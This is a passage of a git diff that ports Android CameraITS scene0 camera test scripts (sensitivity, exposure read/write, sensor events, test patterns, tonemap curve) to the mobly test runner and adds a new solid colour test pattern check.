-        sens_range = props['android.sensor.info.sensitivityRange']
-        sens_step = (sens_range[1] - sens_range[0]) / NUM_STEPS
-        sens_list = range(sens_range[0], sens_range[1], sens_step)
-        e = min(props['android.sensor.info.exposureTimeRange'])
-        assert e != 0
-        reqs = [its.objects.manual_capture_request(s, e) for s in sens_list]
-        _, fmt = its.objects.get_fastest_manual_capture_settings(props)
+      sens_range = props['android.sensor.info.sensitivityRange']
+      sens_step = (sens_range[1] - sens_range[0]) // NUM_STEPS
+      sens_list = range(sens_range[0], sens_range[1], sens_step)
+      exp = min(props['android.sensor.info.exposureTimeRange'])
+      assert exp != 0
+      reqs = [
+          capture_request_utils.manual_capture_request(s, exp)
+          for s in sens_list
+      ]
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
 
-        caps = cam.do_capture(reqs, fmt)
-        for i, cap in enumerate(caps):
-            s_req = sens_list[i]
-            s_res = cap['metadata']['android.sensor.sensitivity']
-            msg = 's_write: %d, s_read: %d, TOL: %.2f' % (s_req, s_res,
-                                                          ERROR_TOLERANCE)
-            assert s_req >= s_res, msg
-            assert s_res/float(s_req) > ERROR_TOLERANCE, msg
+      caps = cam.do_capture(reqs, fmt)
+      for i, cap in enumerate(caps):
+        s_req = sens_list[i]
+        s_res = cap['metadata']['android.sensor.sensitivity']
+        msg = 's_write: %d, s_read: %d, TOL: %.2f' % (s_req, s_res,
+                                                      ERROR_TOLERANCE)
+        assert s_req >= s_res, msg
+        assert s_res / float(s_req) > ERROR_TOLERANCE, msg
+
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_read_write.py b/apps/CameraITS/tests/scene0/test_read_write.py
index 0f8a7a6..e8b514a 100644
--- a/apps/CameraITS/tests/scene0/test_read_write.py
+++ b/apps/CameraITS/tests/scene0/test_read_write.py
@@ -11,118 +11,133 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test that the device will write/read correct exp/gain values.
+"""
 
+import logging
 import os.path
 
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
 
 NAME = os.path.basename(__file__).split('.')[0]
+# Spec to be within 3% but not over for exposure in capture vs exposure request.
 RTOL_EXP_GAIN = 0.97
 TEST_EXP_RANGE = [6E6, 1E9]  # ns [6ms, 1s]
 
 
-def main():
-    """Test that the device will write/read correct exp/gain values."""
+class ReadWriteTest(its_base_test.ItsBaseTest):
+  """Test that the device will write/read correct exp/gain values.
+  """
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.manual_sensor(props) and
-                             its.caps.per_frame_control(props))
+  def test_read_write(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props))
 
-        valid_formats = ['yuv', 'jpg']
-        if its.caps.raw16(props):
-            valid_formats.insert(0, 'raw')
-        # grab exp/gain ranges from camera
-        sensor_exp_range = props['android.sensor.info.exposureTimeRange']
-        sens_range = props['android.sensor.info.sensitivityRange']
-        print 'sensor e range:', sensor_exp_range
-        print 'sensor s range:', sens_range
+      valid_formats = ['yuv', 'jpg']
+      if camera_properties_utils.raw16(props):
+        valid_formats.insert(0, 'raw')
+      # grab exp/gain ranges from camera
+      sensor_exp_range = props['android.sensor.info.exposureTimeRange']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      logging.debug('sensor exposure time range: %s', sensor_exp_range)
+      logging.debug('sensor sensitivity range: %s', sens_range)
 
-        # determine if exposure test range is within sensor reported range
-        assert sensor_exp_range[0] != 0
-        exp_range = []
-        if sensor_exp_range[0] < TEST_EXP_RANGE[0]:
-            exp_range.append(TEST_EXP_RANGE[0])
-        else:
-            exp_range.append(sensor_exp_range[0])
-        if sensor_exp_range[1] > TEST_EXP_RANGE[1]:
-            exp_range.append(TEST_EXP_RANGE[1])
-        else:
-            exp_range.append(sensor_exp_range[1])
+      # determine if exposure test range is within sensor reported range
+      assert sensor_exp_range[0] != 0
+      exp_range = []
+      if sensor_exp_range[0] < TEST_EXP_RANGE[0]:
+        exp_range.append(TEST_EXP_RANGE[0])
+      else:
+        exp_range.append(sensor_exp_range[0])
+      if sensor_exp_range[1] > TEST_EXP_RANGE[1]:
+        exp_range.append(TEST_EXP_RANGE[1])
+      else:
+        exp_range.append(sensor_exp_range[1])
 
-        data = {}
-        # build requests
-        for fmt in valid_formats:
-            print 'format: %s' % fmt
-            size = its.objects.get_available_output_sizes(fmt, props)[-1]
-            out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
-            if cam._hidden_physical_id:
-                out_surface['physicalCamera'] = cam._hidden_physical_id
-            reqs = []
-            index_list = []
-            for exp in exp_range:
-                for sens in sens_range:
-                    reqs.append(its.objects.manual_capture_request(sens, exp))
-                    index_list.append((fmt, exp, sens))
-                    print 'exp_write: %d, sens_write: %d' % (exp, sens)
+      data = {}
+      # build requests
+      for fmt in valid_formats:
+        logging.debug('format: %s', fmt)
+        size = capture_request_utils.get_available_output_sizes(fmt, props)[-1]
+        out_surface = {'width': size[0], 'height': size[1], 'format': fmt}
+        # pylint: disable=protected-access
+        if cam._hidden_physical_id:
+          out_surface['physicalCamera'] = cam._hidden_physical_id
+        reqs = []
+        index_list = []
+        for exp in exp_range:
+          for sens in sens_range:
+            reqs.append(capture_request_utils.manual_capture_request(sens, exp))
+            index_list.append((fmt, exp, sens))
+            logging.debug('exp_write: %d, sens_write: %d', exp, sens)
 
-            # take shots
-            caps = cam.do_capture(reqs, out_surface)
+        # take shots
+        caps = cam.do_capture(reqs, out_surface)
 
-            # extract exp/sensitivity data
-            for i, cap in enumerate(caps):
-                e_read = cap['metadata']['android.sensor.exposureTime']
-                s_read = cap['metadata']['android.sensor.sensitivity']
-                data[index_list[i]] = (fmt, e_read, s_read)
+        # extract exp/sensitivity data
+        for i, cap in enumerate(caps):
+          exposure_read = cap['metadata']['android.sensor.exposureTime']
+          sensitivity_read = cap['metadata']['android.sensor.sensitivity']
+          data[index_list[i]] = (fmt, exposure_read, sensitivity_read)
 
-        # check read/write match across all shots
-        e_failed = []
-        s_failed = []
-        for fmt_write in valid_formats:
-            for e_write in exp_range:
-                for s_write in sens_range:
-                    fmt_read, e_read, s_read = data[(
-                            fmt_write, e_write, s_write)]
-                    if (e_write < e_read or
-                                e_read/float(e_write) <= RTOL_EXP_GAIN):
-                        e_failed.append({'format': fmt_read,
-                                         'e_write': e_write,
-                                         'e_read': e_read,
-                                         's_write': s_write,
-                                         's_read': s_read})
-                    if (s_write < s_read or
-                                s_read/float(s_write) <= RTOL_EXP_GAIN):
-                        s_failed.append({'format': fmt_read,
-                                         'e_write': e_write,
-                                         'e_read': e_read,
-                                         's_write': s_write,
-                                         's_read': s_read})
+      # check read/write match across all shots
+      e_failed = []
+      s_failed = []
+      for fmt_write in valid_formats:
+        for e_write in exp_range:
+          for s_write in sens_range:
+            fmt_read, e_read, s_read = data[(fmt_write, e_write, s_write)]
+            if (e_write < e_read or e_read / float(e_write) <= RTOL_EXP_GAIN):
+              e_failed.append({
+                  'format': fmt_read,
+                  'e_write': e_write,
+                  'e_read': e_read,
+                  's_write': s_write,
+                  's_read': s_read
+              })
+            if (s_write < s_read or s_read / float(s_write) <= RTOL_EXP_GAIN):
+              s_failed.append({
+                  'format': fmt_read,
+                  'e_write': e_write,
+                  'e_read': e_read,
+                  's_write': s_write,
+                  's_read': s_read
+              })
 
         # print results
         if e_failed:
-            print '\nFAILs for exposure time'
-            for fail in e_failed:
-                print ' format: %s, e_write: %d, e_read: %d, RTOL: %.2f, ' % (
-                        fail['format'], fail['e_write'], fail['e_read'],
-                        RTOL_EXP_GAIN),
-                print 's_write: %d, s_read: %d, RTOL: %.2f' % (
-                        fail['s_write'], fail['s_read'], RTOL_EXP_GAIN)
+          logging.debug('FAILs for exposure time')
+          for fail in e_failed:
+            logging.debug('format: %s, e_write: %d, e_read: %d, RTOL: %.2f, ',
+                          fail['format'], fail['e_write'], fail['e_read'],
+                          RTOL_EXP_GAIN)
+            logging.debug('s_write: %d, s_read: %d, RTOL: %.2f',
+                          fail['s_write'], fail['s_read'], RTOL_EXP_GAIN)
         if s_failed:
-            print 'FAILs for sensitivity(ISO)'
-            for fail in s_failed:
-                print ' format: %s, s_write: %d, s_read: %d, RTOL: %.2f, ' % (
-                        fail['format'], fail['s_write'], fail['s_read'],
-                        RTOL_EXP_GAIN),
-                print 'e_write: %d, e_read: %d, RTOL: %.2f' % (
-                        fail['e_write'], fail['e_read'], RTOL_EXP_GAIN)
+          logging.debug('FAILs for sensitivity(ISO)')
+          for fail in s_failed:
+            logging.debug('format: %s, s_write: %d, s_read: %d, RTOL: %.2f, ',
+                          fail['format'], fail['s_write'], fail['s_read'],
+                          RTOL_EXP_GAIN)
+            logging.debug('e_write: %d, e_read: %d, RTOL: %.2f',
+                          fail['e_write'], fail['e_read'], RTOL_EXP_GAIN)
 
         # assert PASS/FAIL
-        assert not e_failed+s_failed
+        assert not e_failed + s_failed
 
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_sensor_events.py b/apps/CameraITS/tests/scene0/test_sensor_events.py
index d35ae11..e8afbb2 100644
--- a/apps/CameraITS/tests/scene0/test_sensor_events.py
+++ b/apps/CameraITS/tests/scene0/test_sensor_events.py
@@ -11,36 +11,50 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test for sensor events."""
 
-import its.device
-import its.caps
+import logging
 import time
 
-def main():
-    """Basic test to query and print out sensor events.
+from mobly import test_runner
 
-    Test will only work if the screen is on (i.e.) the device isn't in standby.
-    Pass if some of each event are received.
-    """
+import its_base_test
+import camera_properties_utils
+import its_session_utils
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props))
 
-        sensors = cam.get_sensors()
-        cam.start_sensor_events()
-        time.sleep(1)
-        events = cam.get_sensor_events()
-        print "Events over 1s: %d gyro, %d accel, %d mag"%(
-                len(events["gyro"]), len(events["accel"]), len(events["mag"]))
-        for key, existing in sensors.iteritems():
-            # Vibrator does not return any sensor event. b/142653973
-            if existing and key != "vibrator":
-                e_msg = "Sensor %s has no events!" % key
-                assert len(events[key]) > 0, e_msg
+class SensorEventTest(its_base_test.ItsBaseTest):
+  """Basic test to query and print out sensor events.
 
-if __name__ == "__main__":
-    main()
+  Test will only work if the screen is on (i.e.) the device isn't in standby.
+  Pass if some of each event are received.
+  """
 
+  def test_sensor_events(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      # Only run test if the appropriate caps are claimed.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.sensor_fusion(props))
+
+      sensors = cam.get_sensors()
+      cam.start_sensor_events()
+      time.sleep(1)
+      events = cam.get_sensor_events()
+      logging.debug('Events over 1s: %d gyro, %d accel, %d mag',
+                    len(events['gyro']), len(events['accel']),
+                    len(events['mag']))
+      for key, existing in sensors.items():
+        # Vibrator does not return any sensor event. b/142653973
+        if existing and key != 'vibrator':
+          e_msg = 'Sensor %s has no events!' % key
+          # Check len(events[key]) > 0
+          assert events[key], e_msg
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
new file mode 100644
index 0000000..b953f4e
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -0,0 +1,141 @@
+# Copyright 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""CameraITS test to check solid color test pattern generation."""
+
+import logging
+import os
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
+_CH_TOL = 4E-3  # ~1/255 DN in [0:1]
+_OFF = 0x00000000
+_SAT = 0xFFFFFFFF
+_NAME = os.path.basename(__file__).split('.')[0]
+_SHARPNESS_TOL = 0.1
+_NUM_FRAMES = 4  # buffer a few frames to eliminate need for PER_FRAME_CONTROL
+# frozendict not used below as it requires import on host after port to AOSP
+_BLACK = {'color': 'BLACK', 'RGGB': (_OFF, _OFF, _OFF, _OFF), 'RGB': (0, 0, 0)}
+_WHITE = {'color': 'WHITE', 'RGGB': (_SAT, _SAT, _SAT, _SAT), 'RGB': (1, 1, 1)}
+_RED = {'color': 'RED', 'RGGB': (_SAT, _OFF, _OFF, _OFF), 'RGB': (1, 0, 0)}
+_GREEN = {'color': 'GREEN', 'RGGB': (_OFF, _SAT, _SAT, _OFF), 'RGB': (0, 1, 0)}
+_BLUE = {'color': 'BLUE', 'RGGB': (_OFF, _OFF, _OFF, _SAT), 'RGB': (0, 0, 1)}
+_COLORS_CHECKED_RGB = (_BLACK, _WHITE, _RED, _GREEN, _BLUE)
+_COLORS_CHECKED_MONO = (_BLACK, _WHITE)
+_COLORS_CHECKED_UPGRADE = (_BLACK,)
+_FULL_CHECK_FIRST_API_LEVEL = 31
+_SOLID_COLOR_TEST_PATTERN = 1
+
+
+def check_solid_color(img, exp_values):
+  """Checks solid color test pattern image matches expected values.
+
+  Args:
+    img: capture converted to RGB image
+    exp_values: list of RGB [0:1] expected values
+  """
+  logging.debug('Checking solid test pattern w/ RGB values %s', str(exp_values))
+  rgb_means = image_processing_utils.compute_image_means(img)
+  logging.debug('Captured frame averages: %s', str(rgb_means))
+  rgb_vars = image_processing_utils.compute_image_variances(img)
+  logging.debug('Capture frame variances: %s', str(rgb_vars))
+  if not np.allclose(rgb_means, exp_values, atol=_CH_TOL):
+    raise AssertionError('Image not expected value. '
+                         f'RGB means: {rgb_means}, expected: {exp_values}, '
+                         f'ATOL: {_CH_TOL}')
+  if not all(i < _CH_TOL for i in rgb_vars):
+    raise AssertionError(f'Image has too much variance. '
+                         f'RGB variances: {rgb_vars}, ATOL: {_CH_TOL}')
+
+
+class SolidColorTestPattern(its_base_test.ItsBaseTest):
+  """Solid Color test pattern generation test.
+
+    Test: Capture frame for the SOLID_COLOR test pattern with the values set
+    and check YUV image matches request.
+
+    android.sensor.testPatternMode
+    0: OFF
+    1: SOLID_COLOR
+    2: COLOR_BARS
+    3: COLOR_BARS_FADE_TO_GREY
+    4: PN9
+  """
+
+  def test_solid_color_test_pattern(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Determine patterns to check based on API level
+      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      if first_api_level >= _FULL_CHECK_FIRST_API_LEVEL:
+        if camera_properties_utils.mono_camera(props):
+          colors_checked = _COLORS_CHECKED_MONO
+        else:
+          colors_checked = _COLORS_CHECKED_RGB
+      else:
+        colors_checked = _COLORS_CHECKED_UPGRADE
+
+      # Determine if test is run or skipped
+      available_patterns = props['android.sensor.availableTestPatternModes']
+      if cam.is_camera_privacy_mode_supported():
+        if _SOLID_COLOR_TEST_PATTERN not in available_patterns:
+          raise AssertionError(
+              'SOLID_COLOR not in android.sensor.availableTestPatternModes.')
+      else:
+        camera_properties_utils.skip_unless(
+            _SOLID_COLOR_TEST_PATTERN in available_patterns)
+
+      # Take extra frames if no per-frame control
+      if camera_properties_utils.per_frame_control(props):
+        num_frames = 1
+      else:
+        num_frames = _NUM_FRAMES
+
+      # Start checking patterns
+      for color in colors_checked:
+        logging.debug('Assigned RGGB values %s',
+                      str([int(c/_SAT) for c in color['RGGB']]))
+        req = capture_request_utils.auto_capture_request()
+        req['android.sensor.testPatternMode'] = camera_properties_utils.SOLID_COLOR_TEST_PATTERN
+        req['android.sensor.testPatternData'] = color['RGGB']
+        fmt = {'format': 'yuv'}
+        caps = cam.do_capture([req]*num_frames, fmt)
+        cap = caps[-1]
+        logging.debug('Capture metadata RGGB testPatternData: %s',
+                      str(cap['metadata']['android.sensor.testPatternData']))
+        # Save test pattern image
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        image_processing_utils.write_image(
+            img, f'{os.path.join(self.log_path, _NAME)}.jpg', True)
+
+        # Check solid pattern for correctness
+        check_solid_color(img, color['RGB'])
+        logging.debug('Solid color test pattern %s is a PASS', color['color'])
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_test_patterns.py b/apps/CameraITS/tests/scene0/test_test_patterns.py
index 6226ca4..ea1e435 100644
--- a/apps/CameraITS/tests/scene0/test_test_patterns.py
+++ b/apps/CameraITS/tests/scene0/test_test_patterns.py
@@ -1,4 +1,4 @@
-# Copyright 2013 The Android Open Source Project
+# Copyright 2016 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,15 +11,21 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test to check test patterns generation."""
 
+import logging
 import os
 
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
 NAME = os.path.basename(__file__).split('.')[0]
 CHECKED_PATTERNS = [1, 2]  # [SOLID_COLOR, COLOR_BARS]
 COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
@@ -31,125 +37,132 @@
 
 
 def check_solid_color(cap, props):
-    """Simple test for solid color.
+  """Checks for solid color test pattern.
 
-    Args:
-        cap: capture element
-        props: capture properties
-    Returns:
-        True/False
-    """
-    print 'Checking solid TestPattern...'
-    r, gr, gb, b = its.image.convert_capture_to_planes(cap, props)
-    r_tile = its.image.get_image_patch(r, 0.0, 0.0, 1.0, 1.0)
-    gr_tile = its.image.get_image_patch(gr, 0.0, 0.0, 1.0, 1.0)
-    gb_tile = its.image.get_image_patch(gb, 0.0, 0.0, 1.0, 1.0)
-    b_tile = its.image.get_image_patch(b, 0.0, 0.0, 1.0, 1.0)
-    var_max = max(np.amax(r_tile), np.amax(gr_tile), np.amax(gb_tile),
-                  np.amax(b_tile))
-    var_min = min(np.amin(r_tile), np.amin(gr_tile), np.amin(gb_tile),
-                  np.amin(b_tile))
-    white_level = int(props['android.sensor.info.whiteLevel'])
-    print ' pixel min: %.f, pixel max: %.f' % (white_level*var_min,
-                                               white_level*var_max)
-    return np.isclose(var_max, var_min, atol=CH_TOL)
+  Args:
+    cap: capture element
+    props: capture properties
+
+  Returns:
+    True/False
+  """
+  logging.debug('Checking solid TestPattern...')
+  r, gr, gb, b = image_processing_utils.convert_capture_to_planes(cap, props)
+  r_tile = image_processing_utils.get_image_patch(r, 0.0, 0.0, 1.0, 1.0)
+  gr_tile = image_processing_utils.get_image_patch(gr, 0.0, 0.0, 1.0, 1.0)
+  gb_tile = image_processing_utils.get_image_patch(gb, 0.0, 0.0, 1.0, 1.0)
+  b_tile = image_processing_utils.get_image_patch(b, 0.0, 0.0, 1.0, 1.0)
+  var_max = max(
+      np.amax(r_tile), np.amax(gr_tile), np.amax(gb_tile), np.amax(b_tile))
+  var_min = min(
+      np.amin(r_tile), np.amin(gr_tile), np.amin(gb_tile), np.amin(b_tile))
+  white_level = int(props['android.sensor.info.whiteLevel'])
+  logging.debug('pixel min: %.f, pixel max: %.f', white_level * var_min,
+                white_level * var_max)
+  return np.isclose(var_max, var_min, atol=CH_TOL)
 
 
 def check_color_bars(cap, props, mirror=False):
-    """Test image for color bars.
+  """Checks for color bar test pattern.Compute avg of bars and compare to ideal.
 
-    Compute avg of bars and compare to ideal
+  Args:
+    cap: capture element
+    props: capture properties
+    mirror: boolean; whether to mirror image or not
 
-    Args:
-        cap:            capture element
-        props:          capture properties
-        mirror (bool):  whether to mirror image or not
-    Returns:
-        True/False
-    """
-    print 'Checking color bar TestPattern...'
-    delta = 0.0005
-    num_bars = len(COLOR_BAR_ORDER)
-    color_match = []
-    img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    if mirror:
-        print ' Image mirrored'
-        img = np.fliplr(img)
-    for i, color in enumerate(COLOR_BAR_ORDER):
-        tile = its.image.get_image_patch(img, float(i)/num_bars+delta,
-                                         0.0, 1.0/num_bars-2*delta, 1.0)
-        color_match.append(np.allclose(its.image.compute_image_means(tile),
-                                       COLOR_CHECKER[color], atol=CH_TOL))
-    print COLOR_BAR_ORDER
-    print color_match
-    return all(color_match)
+  Returns:
+    True/False
+
+
+  """
+  logging.debug('Checking color bar TestPattern...')
+  delta = 0.0005
+  num_bars = len(COLOR_BAR_ORDER)
+  color_match = []
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, props=props)
+  if mirror:
+    logging.debug('Image mirrored')
+    img = np.fliplr(img)
+  for i, color in enumerate(COLOR_BAR_ORDER):
+    tile = image_processing_utils.get_image_patch(img,
+                                                  float(i) / num_bars + delta,
+                                                  0.0,
+                                                  1.0 / num_bars - 2 * delta,
+                                                  1.0)
+    color_match.append(
+        np.allclose(
+            image_processing_utils.compute_image_means(tile),
+            COLOR_CHECKER[color],
+            atol=CH_TOL))
+  logging.debug(COLOR_BAR_ORDER)
+  logging.debug(color_match)
+  return all(color_match)
 
 
 def check_pattern(cap, props, pattern):
-    """Simple tests for pattern correctness.
+  """Checks for pattern correctness.
 
-    Args:
-        cap: capture element
-        props: capture properties
-        pattern (int): valid number for pattern
-    Returns:
-        boolean
-    """
+  Args:
+    cap: capture element
+    props: capture properties
+    pattern (int): valid number for pattern
 
-    # white_level = int(props['android.sensor.info.whiteLevel'])
-    if pattern == 1:  # solid color
-        return check_solid_color(cap, props)
+  Returns:
+    True/False
+  """
+  if pattern == 1:  # solid color
+    return check_solid_color(cap, props)
+  elif pattern == 2:  # color bars
+    striped = check_color_bars(cap, props, mirror=False)
+    # check mirrored version in case image rotated from sensor orientation
+    if not striped:
+      striped = check_color_bars(cap, props, mirror=True)
+    return striped
+  else:
+    logging.debug('No specific test for TestPattern: %d', pattern)
+    return True
 
-    elif pattern == 2:  # color bars
-        striped = check_color_bars(cap, props, mirror=False)
-        # check mirrored version in case image rotated from sensor orientation
-        if not striped:
-            striped = check_color_bars(cap, props, mirror=True)
-        return striped
 
+def test_test_patterns_impl(cam, props, af_fd, name):
+  """Image sensor test patterns implementation.
+
+  Args:
+    cam: An open device session.
+    props: Properties of cam
+    af_fd: Focus distance
+    name: Path to save the captured image.
+  """
+
+  avail_patterns = props['android.sensor.availableTestPatternModes']
+  logging.debug('avail_patterns: %s', avail_patterns)
+  sens_min, _ = props['android.sensor.info.sensitivityRange']
+  exposure = min(props['android.sensor.info.exposureTimeRange'])
+
+  for pattern in CHECKED_PATTERNS:
+    if pattern in avail_patterns:
+      req = capture_request_utils.manual_capture_request(
+          int(sens_min), exposure)
+      req['android.lens.focusDistance'] = af_fd
+      req['android.sensor.testPatternMode'] = pattern
+      fmt = {'format': 'raw'}
+      cap = cam.do_capture(req, fmt)
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap, props=props)
+      # Save pattern
+      image_processing_utils.write_image(img, '%s_%d.jpg' % (name, pattern),
+                                         True)
+
+      # Check pattern for correctness
+      assert check_pattern(cap, props, pattern)
     else:
-        print 'No specific test for TestPattern %d' % pattern
-        return True
+      logging.debug('%d not in android.sensor.availableTestPatternModes.',
+                    (pattern))
 
 
-def test_test_patterns(cam, props, af_fd):
-    """test image sensor test patterns.
+class TestPatterns(its_base_test.ItsBaseTest):
+  """Test pattern generation test.
 
-    Args:
-        cam: An open device session.
-        props: Properties of cam
-        af_fd: Focus distance
-    """
-
-    avail_patterns = props['android.sensor.availableTestPatternModes']
-    print 'avail_patterns: ', avail_patterns
-    sens_min, _ = props['android.sensor.info.sensitivityRange']
-    exposure = min(props['android.sensor.info.exposureTimeRange'])
-
-    for pattern in CHECKED_PATTERNS:
-        if pattern in avail_patterns:
-            req = its.objects.manual_capture_request(int(sens_min),
-                                                     exposure)
-            req['android.lens.focusDistance'] = af_fd
-            req['android.sensor.testPatternMode'] = pattern
-            fmt = {'format': 'raw'}
-            cap = cam.do_capture(req, fmt)
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
-
-            # Save pattern
-            its.image.write_image(img, '%s_%d.jpg' % (NAME, pattern), True)
-
-            # Check pattern for correctness
-            assert check_pattern(cap, props, pattern)
-        else:
-            print '%d not in android.sensor.availableTestPatternModes.' % (
-                    pattern)
-
-
-def main():
-    """Test pattern generation test.
-
-    Test: capture frames for each valid test pattern and check if
+    Test: Capture frames for each valid test pattern and check if
     generated correctly.
     android.sensor.testPatternMode
     0: OFF
@@ -157,18 +170,25 @@
     2: COLOR_BARS
     3: COLOR_BARS_FADE_TO_GREY
     4: PN9
-    """
+  """
 
-    print '\nStarting %s' % NAME
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.raw16(props) and
-                             its.caps.manual_sensor(props) and
-                             its.caps.per_frame_control(props))
+  def test_test_patterns(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props))
 
-        # For test pattern, use min_fd
-        fd = props['android.lens.info.minimumFocusDistance']
-        test_test_patterns(cam, props, fd)
+      # For test pattern, use min_fd
+      focus_distance = props['android.lens.info.minimumFocusDistance']
+      name = os.path.join(self.log_path, NAME)
+      test_test_patterns_impl(cam, props, focus_distance, name)
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene0/test_tonemap_curve.py b/apps/CameraITS/tests/scene0/test_tonemap_curve.py
index 6deb45a..981b79b 100644
--- a/apps/CameraITS/tests/scene0/test_tonemap_curve.py
+++ b/apps/CameraITS/tests/scene0/test_tonemap_curve.py
@@ -11,175 +11,201 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""CameraITS test for tonemap curve with sensor test pattern."""
 
+import logging
 import os
 
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
 NAME = os.path.basename(__file__).split('.')[0]
-COLOR_BAR_PATTERN = 2
+COLOR_BAR_PATTERN = 2  # Note scene0/test_test_patterns must PASS
 COLOR_BARS = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
               'BLUE', 'BLACK']
+N_BARS = len(COLOR_BARS)
 COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
                  'BLUE': [0, 0, 1], 'MAGENTA': [1, 0, 1], 'CYAN': [0, 1, 1],
                  'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
 DELTA = 0.0005  # crop on edge of color bars
-LINEAR_TONEMAP = sum([[t/63.0, t/126.0] for t in range(64)], [])  # max of 0.5
-N_BARS = len(COLOR_BARS)
 RAW_TOL = 0.001  # 1 DN in [0:1] (1/(1023-64)
 RGB_VAR_TOL = 0.0039  # 1/255
 RGB_MEAN_TOL = 0.1
 TONEMAP_MAX = 0.5
 YUV_H = 480
 YUV_W = 640
-# fixed patch coordinates
-WNORM = 1.0 / N_BARS - 2 * DELTA
-YNORM = 0.0
-HNORM = 1.0
+# Normalized co-ordinates for the color bar patch.
+Y_NORM = 0.0
+W_NORM = 1.0 / N_BARS - 2 * DELTA
+H_NORM = 1.0
 
-def compute_xnorm(num):
-    """Compute xnorm (x location in image) patch based on COLOR_BAR number.
+# Linear tonemap with maximum of 0.5
+LINEAR_TONEMAP = sum([[i/63.0, i/126.0] for i in range(64)], [])
 
-    Args:
-        num:    int; index number in COLOR_BARS
 
-    Returns:
-        xnorm
-    """
-    return float(num) / N_BARS + DELTA
+def get_x_norm(num):
+  """Returns the normalized x co-ordinate for the title.
+
+  Args:
+   num: int; position on color in the color bar.
+
+  Returns:
+    normalized x co-ordinate.
+  """
+  return float(num) / N_BARS + DELTA
 
 
